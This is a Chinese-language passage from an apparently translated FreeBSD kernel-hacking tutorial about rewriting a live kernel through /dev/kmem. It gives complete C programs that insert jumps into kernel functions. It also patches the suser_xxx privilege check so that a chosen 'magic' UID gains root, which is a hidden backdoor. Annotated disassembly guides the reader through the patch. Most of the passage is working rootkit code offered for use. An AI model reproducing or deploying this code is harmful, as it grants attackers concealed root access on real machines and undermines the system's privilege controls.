模块并不是唯一的修改内核的途径,我们还可以利用/dev/kmem来复写已经存在的数据,代码。在技术节中我已经描述了大概的方法,现在我们的关键是写/dev/kmem.
4.1 介绍
简单的测试我们可以只是在某个内核函数的开始处写如一个返回地址,我们用内核模块来做这样的测试,它不会影响正常的运行,
现在我们不让CY运行在隐蔽的模式,我们写一个ret到cy_ctl并用cyctl发送命令到CY,啥都不会发生,cy_ctl会简单的返回,
在tools/putreturn.c 有例子代码。
4.2 插入跳转
非常简单可以插入一些跳转到某些函数,这样可以重定向到我们的代码,并且不用修改系统调用表核任何其他的表格,这意味着你并不
需要加载一个模块来完成这件事,通过写/dev/kmem,当然了你也可以加载模块来完成。
在tools/putjump.c:
/*这里是那个非常经典的lkm里来自 Silvio Cesare e4gle@whitecell 前辈翻译过
修改指定函数地址的前7个字节,来跳转到我们的代码*/
/* the jump */
unsigned char code[] = "\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
int
main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
if(argc < 3) {
fprintf(stderr,"Usage: putjump [from function] [to function]\n");
exit(-1);
}
nl[0].n_name = argv[1];
nl[1].n_name = argv[2];
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %s\n",errbuf);
exit(-1);
}
if(kvm_nlist(kd,nl) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
if(!nl[0].n_value) {
fprintf(stderr,"Symbol %s not found.\n",nl[0].n_name);
exit(-1);
}
if(!nl[1].n_value) {
fprintf(stderr,"Symbol %s not found.\n",nl[1].n_name);
exit(-1);
}
printf("%s is 0x%x at 0x%x\n",nl[0].n_name,nl[0].n_type,nl[0].n_value);
printf("%s is 0x%x at 0x%x\n",nl[1].n_name,nl[1].n_type,nl[1].n_value);
/* set the address to jump to */
*(unsigned long *)&code[1] = nl[1].n_value;
if(kvm_write(kd,nl[0].n_value,code,sizeof(code)) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
printf("Written the jump\n");
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
4.3 替换内核代码
为了避免修改已经存在的表,我们可以采用jump的方法,但是我们还是必须要提供自己的代码,有些时候这可能很方便的修改已经存在
的代码,但是这不是通用的方法,因为它不能修补版本高的内核(???)并且取决于编译器的实现。
为了鉴别用户是否是root 或者超级用户,内核调用suser,然后suser返回并调用super_xxx,这将会检查用户是否是root,并授予某些
特权,比如原始套节字,我提供了一个例子来演示修改已经存在的代码,首先我们要找到这个函数的地址,用 nm /kernel | grep
super_xxx 或者用 tools/findsym 查找suser_xxx,在我的电脑上它是0xc019d538,你的也会差不多,现在我们来看一下
这里的代码
# objdump -d /kernel --start-address=0xc019d538 | more
/kernel: file format elf32-i386
Disassembly of section .text:
c019d538 :
c019d538: 55 push %ebp
c019d539: 89 e5 mov %esp,%ebp
c019d53b: 8b 45 08 mov 0x8(%ebp),%eax //参数 cred
c019d53e: 8b 55 0c mov 0xc(%ebp),%edx //参数 proc
c019d541: 85 c0 test %eax,%eax //!cred
c019d543: 75 20 jne c019d565
c019d545: 85 d2 test %edx,%edx
c019d547: 75 13 jne c019d55c
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0 //printf
c019d553: b8 01 00 00 00 mov $0x1,%eax
c019d558: eb 32 jmp c019d58c
c019d55a: 89 f6 mov %esi,%esi
c019d55c: 85 c0 test %eax,%eax // !cred
c019d55e: 75 05 jne c019d565
c019d560: 8b 42 10 mov 0x10(%edx),%eax
c019d563: 8b 00 mov (%eax),%eax
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax) //cred->cr_uid != 0
c019d569: 75 e8 jne c019d553
c019d56b: 85 d2 test %edx,%edx
c019d56d: 74 1b je c019d58a
c019d56f: 83 ba 60 01 00 00 00 cmpl $0x0,0x160(%edx)
c019d576: 74 07 je c019d57f
c019d578: 8b 45 10 mov 0x10(%ebp),%eax
c019d57b: a8 01 test $0x1,%al
c019d57d: 74 d4 je c019d553
c019d57f: 85 d2 test %edx,%edx
c019d581: 74 07 je c019d58a
c019d583: 80 8a 72 01 00 00 02 orb $0x2,0x172(%edx)
c019d58a: 31 c0 xor %eax,%eax
c019d58c: c9 leave
c019d58d: c3 ret
c019d58e: 89 f6 mov %esi,%esi
这里是反汇编的代码,下面是源代码,在/sys/kern/kern_prot.c
int
suser_xxx(cred, proc, flag)
struct ucred *cred;
struct proc *proc;
int flag;
{
if (!cred && !proc) {
printf("suser_xxx(): THINK!\n");
return (EPERM);
}
if (!cred)
cred = proc->p_ucred;
if (cred->cr_uid != 0) ///------------------------------------|
return (EPERM);
if (proc && proc->p_prison && !(flag & PRISON_ROOT))
return (EPERM);
if (proc)
proc->p_acflag |= ASU;
return (0);
}
除非你是一个assembler person ,请看一下,你可以注意到%eax存贮着cred ,%edx 存储着proc 结构,基本我们想改成这样
if ((cred->cr_uid != 0) && (cred->cr_uid != MAGIC_UID))
return (EPERM);
现在我们要找一个地方去存放上面的代码,用printf的地址吧,printf的作用就是在suser_xxx在被错误调用时才有用,现在我们假设
没有人仔细看着它的屏幕;),看看汇编代码中,所有错误的返回都是这样 把EPERM =1 放到 %eax 中c019d553: mov $0x1,%eax
看一下uid=!0的测试,跳转到c019d553.
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax)
c019d569: 75 e8 jne c019d553 //75 表示 jne 向上跳转到偏移e8,e8是个负数-16
我们看一下我们将要放置新代码的printf处 (10个字节)
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0
现在我们需要修改跳转地址 75 表示 jne 向上跳转到偏移e8,e8是个负数-16
现在我们就要修改printf地址的代码并添加我们自己的check了(cred->cr_uid != MAGIC_UID) 首先我们用 jmp 0x7(来跳过这个
检查)当它被“正常调用时“不出错,就是在(!cred && !proc)的测试中,然后添加我们的检验代码
jmp 0x07 eb 07 /* 跳过检查 */
cmpl $magic,0x4(%eax) 83 78 04 magic /* 检察MAGIC_UID */
je 0x39 74 39 /* 跳到结束 */
nop 90 /* 用来填充的字节 */
nop 90
现在修改 c019d569 地址出的 75 e8 为 75 e0(后退8个字节) 实际跳转到了cmpl $magic,0x4(%eax) 这里来执行
我们把它整合到一块,我的特定的MAGIC_UID=100;
#include
#include
#include
#include
#include
#define MAGIC_ADDR 0xc019d549
#define MAKE_OR_ADDR 0xc019d569
unsigned char magic[] = "\xeb\x07" /* jmp 06 */
"\x83\x78\x04\x00" /* cmpl $magic,0x4(%eax) */
"\x74\x39" /* je to end */
"\x90\x90" /* filling nop */
;
unsigned char makeor[] = "\x75\xe0"; /* jne e0 */
int
main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
u_int32_t magic_addr = MAGIC_ADDR;
u_int32_t makeor_addr = MAKE_OR_ADDR;
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %s\n",errbuf);
exit(-1);
}
if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
在direct/fix_suser_xxx.c 可能你会见到轻微的改动 ,它要求uid<256
现在你可以copy /sbin/ping 到你的目录下测试一下:)
Freebsd内核模块源码实现以及应用探
0
相关文章